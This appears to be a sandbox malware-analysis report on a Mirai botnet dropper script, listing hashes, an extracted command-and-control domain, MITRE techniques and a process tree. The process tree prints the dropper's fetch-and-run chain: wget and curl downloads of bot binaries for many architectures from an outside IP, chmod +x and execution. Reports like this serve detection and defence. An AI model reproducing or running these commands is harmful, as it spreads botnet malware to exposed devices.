mirai | a2c4604122ae8071f0e36b882f3ac6dda0aee393c1fdb34db8dc4f66e8734fe8

Analysis

max time kernel
15s
max time network
16s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
03/10/2026, 16:57

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
jaws.sh
Size 2KB
Sample261003-vgpc1ashkb
SHA256 a2c4604122ae8071f0e36b882f3ac6dda0aee393c1fdb34db8dc4f66e8734fe8
MD5 fd0f7cea7e645edf6e89fe4e52e40746
SHA1 ad267423bbdc88f71d271989c8ccfdde6da504e0
SHA512 aaddb5fcb16e8ef5288f9cfefa1601b5233053e1f02bd8c5286c8c66d6338fe1fd412a319cb05a17f6d78249f4f7d57b567fa2135f322e873d6050af8c854e1a
TLSH
T19F4172C530C54BF82CE3A9D766E90CA8F1C1E1FA55C59FA658FEB4F8585DD043181E82
MD5 SHA1 SHA512 TLSH

Score

10^/10

antivm botnet defense_evasion discovery mirai

Malware Config

Extracted

Family

mirai

sldoaikdjiqwjpdqsas.mooo.com

Extracted

Family

mirai

sldoaikdjiqwjpdqsas.mooo.com

Signatures

Family: Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai

Mirai ARM payload 1 IoCs

resource	yara_rule
behavioral2/files/fstream-7.dat	family_mirai_arm

File and Directory Permissions Modification 1 TTPs 13 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
741	chmod
782	chmod
787	chmod
792	chmod
797	chmod
807	chmod
812	chmod
823	chmod
684	chmod
725	chmod
777	chmod
802	chmod
817	chmod

Deletes itself 12 IoCs

pid	Process
818	WTH
813	WTH
808	WTH
803	WTH
798	WTH
793	WTH
788	WTH
783	WTH
778	WTH
832	WTH
827	WTH
835	WTH

Executes dropped EXE 13 IoCs

ioc	pid	Process
/tmp/WTH	685	jaws.sh
/tmp/WTH	728	jaws.sh
/tmp/WTH	742	jaws.sh
/tmp/WTH	778	jaws.sh
/tmp/WTH	783	jaws.sh
/tmp/WTH	788	jaws.sh
/tmp/WTH	793	jaws.sh
/tmp/WTH	798	jaws.sh
/tmp/WTH	803	jaws.sh
/tmp/WTH	808	jaws.sh
/tmp/WTH	813	jaws.sh
/tmp/WTH	818	jaws.sh
/tmp/WTH	824	jaws.sh

Traces itself 20 IoCs

Traces itself to prevent debugging attempts

pid	Process
778	WTH
783	WTH
788	WTH
793	WTH
798	WTH
803	WTH
808	WTH
813	WTH
818	WTH
824	WTH
828	WTH
826	WTH
830	WTH
833	WTH
832	WTH
834	WTH
829	WTH
827	WTH
831	WTH
835	WTH

Changes its process name 10 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	httpd	793	WTH
Changes the process name, possibly in an attempt to hide itself	httpd	798	WTH
Changes the process name, possibly in an attempt to hide itself	httpd	778	WTH
Changes the process name, possibly in an attempt to hide itself	httpd	808	WTH
Changes the process name, possibly in an attempt to hide itself	httpd	803	WTH
Changes the process name, possibly in an attempt to hide itself	httpd	788	WTH
Changes the process name, possibly in an attempt to hide itself	httpd	818	WTH
Changes the process name, possibly in an attempt to hide itself	httpd	783	WTH
Changes the process name, possibly in an attempt to hide itself	httpd	813	WTH
Changes the process name, possibly in an attempt to hide itself	httpd	824	WTH

Checks CPU configuration 1 TTPs 13 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 46 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/653/cmdline	WTH
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/1/cmdline	WTH
File opened for reading	/proc/1/cmdline	WTH
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/653/cmdline	WTH
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/1/cmdline	WTH
File opened for reading	/proc/1/cmdline	WTH
File opened for reading	/proc/1/cmdline	WTH
File opened for reading	/proc/653/cmdline	WTH
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/653/cmdline	WTH
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/653/cmdline	WTH
File opened for reading	/proc/1/cmdline	WTH
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/653/cmdline	WTH
File opened for reading	/proc/653/cmdline	WTH
File opened for reading	/proc/1/cmdline	WTH
File opened for reading	/proc/1/cmdline	WTH
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/653/cmdline	WTH
File opened for reading	/proc/653/cmdline	WTH
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/653/cmdline	WTH
File opened for reading	/proc/1/cmdline	WTH
File opened for reading	/proc/1/cmdline	WTH

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
687	wget
699	curl
722	cat

Writes file to tmp directory 34 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/WTH	WTH
File opened for modification	/tmp/WTH	jaws.sh
File opened for modification	/tmp/bot.arm6	wget
File opened for modification	/tmp/bot.ppc	wget
File opened for modification	/tmp/WTH	WTH
File opened for modification	/tmp/bot.mips	wget
File opened for modification	/tmp/bot.arm7	curl
File opened for modification	/tmp/WTH	WTH
File opened for modification	/tmp/WTH	WTH
File opened for modification	/tmp/WTH	WTH
File opened for modification	/tmp/WTH	WTH
File opened for modification	/tmp/bot.arm	wget
File opened for modification	/tmp/bot.ppc	curl
File opened for modification	/tmp/bot.arm7	wget
File opened for modification	/tmp/bot.x86	wget
File opened for modification	/tmp/bot.mips	curl
File opened for modification	/tmp/bot.arm	curl
File opened for modification	/tmp/bot.arm5	wget
File opened for modification	/tmp/bot.sh4	curl
File opened for modification	/tmp/WTH	WTH
File opened for modification	/tmp/bot.m68k	wget
File opened for modification	/tmp/bot.m68k	curl
File opened for modification	/tmp/bot.i686	curl
File opened for modification	/tmp/bot.x86	curl
File opened for modification	/tmp/bot.arm6	curl
File opened for modification	/tmp/bot.arc	curl
File opened for modification	/tmp/WTH	WTH
File opened for modification	/tmp/bot.mpsl	wget
File opened for modification	/tmp/bot.mpsl	curl
File opened for modification	/tmp/bot.arm5	curl
File opened for modification	/tmp/bot.spc	curl
File opened for modification	/tmp/bot.sh4	wget
File opened for modification	/tmp/WTH	WTH
File opened for modification	/tmp/WTH	WTH

/tmp/jaws.sh
/tmp/jaws.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:653
- /usr/bin/wget
  wget http://23.155.44.87/bot.x86
  2⤵
  - Writes file to tmp directory
  PID:658
- /usr/bin/curl
  curl -O http://23.155.44.87/bot.x86
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:682
- /bin/cat
  cat bot.x86
  2⤵
  PID:683
- /bin/chmod
  chmod +x bot.x86 jaws.sh systemd-private-193d46d9a72f490f9743b0a8d8072684-systemd-timedated.service-wyHMfy WTH
  2⤵
  - File and Directory Permissions Modification
  PID:684
- /tmp/WTH
  ./WTH jaws.selfrep
  2⤵
  PID:685
- /usr/bin/wget
  wget http://23.155.44.87/bot.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:687
- /usr/bin/curl
  curl -O http://23.155.44.87/bot.mips
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:699
- /bin/cat
  cat bot.mips
  2⤵
  - System Network Configuration Discovery
  PID:722
- /bin/chmod
  chmod +x bot.mips bot.x86 jaws.sh systemd-private-193d46d9a72f490f9743b0a8d8072684-systemd-timedated.service-wyHMfy WTH
  2⤵
  - File and Directory Permissions Modification
  PID:725
- /tmp/WTH
  ./WTH jaws.selfrep
  2⤵
  PID:728
- /usr/bin/wget
  wget http://23.155.44.87/bot.mpsl
  2⤵
  - Writes file to tmp directory
  PID:731
- /usr/bin/curl
  curl -O http://23.155.44.87/bot.mpsl
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:739
- /bin/cat
  cat bot.mpsl
  2⤵
  PID:740
- /bin/chmod
  chmod +x bot.mips bot.mpsl bot.x86 jaws.sh systemd-private-193d46d9a72f490f9743b0a8d8072684-systemd-timedated.service-wyHMfy WTH
  2⤵
  - File and Directory Permissions Modification
  PID:741
- /tmp/WTH
  ./WTH jaws.selfrep
  2⤵
  PID:742
- /usr/bin/wget
  wget http://23.155.44.87/bot.arm
  2⤵
  - Writes file to tmp directory
  PID:744
- /usr/bin/curl
  curl -O http://23.155.44.87/bot.arm
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:768
- /bin/cat
  cat bot.arm
  2⤵
  PID:776
- /bin/chmod
  chmod +x bot.arm bot.mips bot.mpsl bot.x86 jaws.sh systemd-private-193d46d9a72f490f9743b0a8d8072684-systemd-timedated.service-wyHMfy WTH
  2⤵
  - File and Directory Permissions Modification
  PID:777
- /tmp/WTH
  ./WTH jaws.selfrep
  2⤵
  - Deletes itself
  - Traces itself
  - Changes its process name
  - Reads runtime system information
  - Writes file to tmp directory
  PID:778
- /usr/bin/wget
  wget http://23.155.44.87/bot.arm5
  2⤵
  - Writes file to tmp directory
  PID:779
- /usr/bin/curl
  curl -O http://23.155.44.87/bot.arm5
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:780
- /bin/chmod
  chmod +x bot.arm bot.arm5 bot.mips bot.mpsl bot.x86 jaws.sh systemd-private-193d46d9a72f490f9743b0a8d8072684-systemd-timedated.service-wyHMfy WTH
  2⤵
  - File and Directory Permissions Modification
  PID:782
- /tmp/WTH
  ./WTH jaws.selfrep
  2⤵
  - Deletes itself
  - Traces itself
  - Changes its process name
  - Reads runtime system information
  - Writes file to tmp directory
  PID:783
- /usr/bin/wget
  wget http://23.155.44.87/bot.arm6
  2⤵
  - Writes file to tmp directory
  PID:784
- /usr/bin/curl
  curl -O http://23.155.44.87/bot.arm6
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:785
- /bin/chmod
  chmod +x bot.arm bot.arm5 bot.arm6 bot.mips bot.mpsl bot.x86 jaws.sh systemd-private-193d46d9a72f490f9743b0a8d8072684-systemd-timedated.service-wyHMfy WTH
  2⤵
  - File and Directory Permissions Modification
  PID:787
- /tmp/WTH
  ./WTH jaws.selfrep
  2⤵
  - Deletes itself
  - Traces itself
  - Changes its process name
  - Reads runtime system information
  - Writes file to tmp directory
  PID:788
- /usr/bin/wget
  wget http://23.155.44.87/bot.arm7
  2⤵
  - Writes file to tmp directory
  PID:789
- /usr/bin/curl
  curl -O http://23.155.44.87/bot.arm7
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:790
- /bin/chmod
  chmod +x bot.arm bot.arm5 bot.arm6 bot.arm7 bot.mips bot.mpsl bot.x86 jaws.sh systemd-private-193d46d9a72f490f9743b0a8d8072684-systemd-timedated.service-wyHMfy WTH
  2⤵
  - File and Directory Permissions Modification
  PID:792
- /tmp/WTH
  ./WTH jaws.selfrep
  2⤵
  - Deletes itself
  - Traces itself
  - Changes its process name
  - Reads runtime system information
  - Writes file to tmp directory
  PID:793
- /usr/bin/wget
  wget http://23.155.44.87/bot.ppc
  2⤵
  - Writes file to tmp directory
  PID:794
- /usr/bin/curl
  curl -O http://23.155.44.87/bot.ppc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:795
- /bin/chmod
  chmod +x bot.arm bot.arm5 bot.arm6 bot.arm7 bot.mips bot.mpsl bot.ppc bot.x86 jaws.sh systemd-private-193d46d9a72f490f9743b0a8d8072684-systemd-timedated.service-wyHMfy WTH
  2⤵
  - File and Directory Permissions Modification
  PID:797
- /tmp/WTH
  ./WTH jaws.selfrep
  2⤵
  - Deletes itself
  - Traces itself
  - Changes its process name
  - Reads runtime system information
  - Writes file to tmp directory
  PID:798
- /usr/bin/wget
  wget http://23.155.44.87/bot.m68k
  2⤵
  - Writes file to tmp directory
  PID:799
- /usr/bin/curl
  curl -O http://23.155.44.87/bot.m68k
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:800
- /bin/chmod
  chmod +x bot.arm bot.arm5 bot.arm6 bot.arm7 bot.m68k bot.mips bot.mpsl bot.ppc bot.x86 jaws.sh systemd-private-193d46d9a72f490f9743b0a8d8072684-systemd-timedated.service-wyHMfy WTH
  2⤵
  - File and Directory Permissions Modification
  PID:802
- /tmp/WTH
  ./WTH jaws.selfrep
  2⤵
  - Deletes itself
  - Traces itself
  - Changes its process name
  - Reads runtime system information
  - Writes file to tmp directory
  PID:803
- /usr/bin/wget
  wget http://23.155.44.87/bot.spc
  2⤵
  PID:804
- /usr/bin/curl
  curl -O http://23.155.44.87/bot.spc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:805
- /bin/chmod
  chmod +x bot.arm bot.arm5 bot.arm6 bot.arm7 bot.m68k bot.mips bot.mpsl bot.ppc bot.spc bot.x86 jaws.sh systemd-private-193d46d9a72f490f9743b0a8d8072684-systemd-timedated.service-wyHMfy WTH
  2⤵
  - File and Directory Permissions Modification
  PID:807
- /tmp/WTH
  ./WTH jaws.selfrep
  2⤵
  - Deletes itself
  - Traces itself
  - Changes its process name
  - Reads runtime system information
  - Writes file to tmp directory
  PID:808
- /usr/bin/wget
  wget http://23.155.44.87/bot.i686
  2⤵
  PID:809
- /usr/bin/curl
  curl -O http://23.155.44.87/bot.i686
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:810
- /bin/chmod
  chmod +x bot.arm bot.arm5 bot.arm6 bot.arm7 bot.i686 bot.m68k bot.mips bot.mpsl bot.ppc bot.spc bot.x86 jaws.sh systemd-private-193d46d9a72f490f9743b0a8d8072684-systemd-timedated.service-wyHMfy WTH
  2⤵
  - File and Directory Permissions Modification
  PID:812
- /tmp/WTH
  ./WTH jaws.selfrep
  2⤵
  - Deletes itself
  - Traces itself
  - Changes its process name
  - Reads runtime system information
  - Writes file to tmp directory
  PID:813
- /usr/bin/wget
  wget http://23.155.44.87/bot.sh4
  2⤵
  - Writes file to tmp directory
  PID:814
- /usr/bin/curl
  curl -O http://23.155.44.87/bot.sh4
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:815
- /bin/chmod
  chmod +x bot.arm bot.arm5 bot.arm6 bot.arm7 bot.i686 bot.m68k bot.mips bot.mpsl bot.ppc bot.sh4 bot.spc bot.x86 jaws.sh systemd-private-193d46d9a72f490f9743b0a8d8072684-systemd-timedated.service-wyHMfy WTH
  2⤵
  - File and Directory Permissions Modification
  PID:817
- /tmp/WTH
  ./WTH jaws.selfrep
  2⤵
  - Deletes itself
  - Traces itself
  - Changes its process name
  - Reads runtime system information
  - Writes file to tmp directory
  PID:818
- /usr/bin/wget
  wget http://23.155.44.87/bot.arc
  2⤵
  PID:819
- /usr/bin/curl
  curl -O http://23.155.44.87/bot.arc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:820
- /bin/chmod
  chmod +x bot.arc bot.arm bot.arm5 bot.arm6 bot.arm7 bot.i686 bot.m68k bot.mips bot.mpsl bot.ppc bot.sh4 bot.spc bot.x86 jaws.sh systemd-private-193d46d9a72f490f9743b0a8d8072684-systemd-timedated.service-wyHMfy WTH
  2⤵
  - File and Directory Permissions Modification
  PID:823
- /tmp/WTH
  ./WTH jaws.selfrep
  2⤵
  - Deletes itself
  - Traces itself
  - Changes its process name
  - Reads runtime system information
  - Writes file to tmp directory
  PID:824

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

WTH

Path /tmp/WTH
Size 173KB
SHA256 72363a98be6bc85d3df0001c1be91fe98869c19c20fcf04956b4ea538d58440f
MD5 d458dd1e30271b0ca7934a1c426aaab6
SHA1 b27d880f05f2b6ef634a57a8e2e2f9b7c52c7aab
SHA512 d62d7562198d77b01faf41e11b96844cfdbe47c4030d1e6e7b07b9d9326f1fb78416bbadff0d7b178a2edd09fb4b56eea1478cca0bfa82196718914c0b2cfa46
SSDEEP 3072:5Nziu77DcHpWb/zZyjGkgiQy6Q37jScmyA:nzim7DXCXQY37+cmp
TLSH
T1E004971A6E228F6DF668873047B74E25976D23D627E1D640E2ACC1146F2039E641FFEC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

WTH

Path /tmp/WTH
Size 177KB
SHA256 23adc923f7baacd4afe877f79ea81df13f581ca2350ee99c5151d75d32efdee1
MD5 9dcfde6ac38e1613241e8e848bd8f36c
SHA1 ed0093e2e1ab9ab721969bbe52cc4bee6d4c17f5
SHA512 f96fd6d80b9c588fcd779a1ffdd94ae664dea638daccbff79c74e1c3820ebb762882958c97a7f93a5b21efe74b82087afc8bfa5b348affebd17738eab0beaba1
SSDEEP 1536:vJPeB4LNdHbEunieoNVLUYcI+LDeaD57pQ+z8oy9ZAknjrofYRLLLegwhMTXUtHr:1eB4fbEEkvFcpI08b99OYRzesSCEo6
TLSH
T1B704C81AAF550FBBDCAFCD3706E90B0239CC944722A53B363674D528F54A54B4AE3C68
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

WTH

Path /tmp/WTH
Size 134KB
SHA256 8867050a0b39fc2cbc43ba3953393fb257aa2d1f02b2e7aac9138be3da5c54c9
MD5 2b0f34ab4a74df7a371221678946e21f
SHA1 b101c17c9a2d9b8253ef35fe4783ccca9fd13d7e
SHA512 d0e42787f2f6a0a26ab652393d3bdba6fb7b9ba84beca436c27b70946ae120924e687234cc757eb16f599b222e2eded5b514bf78c69a423cebdc2d2ee2b224c2
SSDEEP 1536:fCdmz0FAluXfHky7OiRByE8sAplS4Vgq+zT58Fjm9lg1pFlyQNlejwywN5cvLKVp:fCgSkyyKv8sF4vOaFjmWPkZhGD
TLSH
T186D30945F8414F23C6C612BBFB5E428D3B2A17E8D2EE720399256F64378785B0E37946
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

bot.x86

Path /tmp/bot.x86
Size 90KB
SHA256 7b56a0fb93baac5ce50c04fe92b6aa6f95f47f813287d1dd9306ba790ddf23b8
MD5 7d315156fdc19d8975d2fc2d18e3e60c
SHA1 f7619509fe73f48c74afd057ad9a5d1fda9e4298
SHA512 2f1fdee5754e92b4c7a9ede3ca62d3b527a103be200a20b0f99bf34e631b7a1de9e2037ec653f104dbf7411f8c14a52a2aba416e29a67c48b01edcda27c08159
SSDEEP 1536:TJ3hJePd5hW3/FzQ1jqgg6pm41z5DVOqr7m1cE0vBFzSuelm3FnI/a8Iu2HS5Mt:hk1jVg6ptV5DVOq7m10v3klm39IiTymt
TLSH
T152936CC5F683E4F5EC4301B16037E7335B37E5B9102AEA83D3695932ECA1681DA16B9C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

pid	Process
818	WTH
813	WTH
808	WTH
803	WTH
798	WTH
793	WTH
788	WTH
783	WTH
778	WTH
832	WTH
827	WTH
835	WTH

pid	Process
778	WTH
783	WTH
788	WTH
793	WTH
798	WTH
803	WTH
808	WTH
813	WTH
818	WTH
824	WTH
828	WTH
826	WTH
830	WTH
833	WTH
832	WTH
834	WTH
829	WTH
827	WTH
831	WTH
835	WTH

pid	Process
818	WTH
813	WTH
808	WTH
803	WTH
798	WTH
793	WTH
788	WTH
783	WTH
778	WTH
832	WTH
827	WTH
835	WTH

pid	Process
778	WTH
783	WTH
788	WTH
793	WTH
798	WTH
803	WTH
808	WTH
813	WTH
818	WTH
824	WTH
828	WTH
826	WTH
830	WTH
833	WTH
832	WTH
834	WTH
829	WTH
827	WTH
831	WTH
835	WTH

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads

pid	Process
818	WTH
813	WTH
808	WTH
803	WTH
798	WTH
793	WTH
788	WTH
783	WTH
778	WTH
832	WTH
827	WTH
835	WTH

pid	Process
778	WTH
783	WTH
788	WTH
793	WTH
798	WTH
803	WTH
808	WTH
813	WTH
818	WTH
824	WTH
828	WTH
826	WTH
830	WTH
833	WTH
832	WTH
834	WTH
829	WTH
827	WTH
831	WTH
835	WTH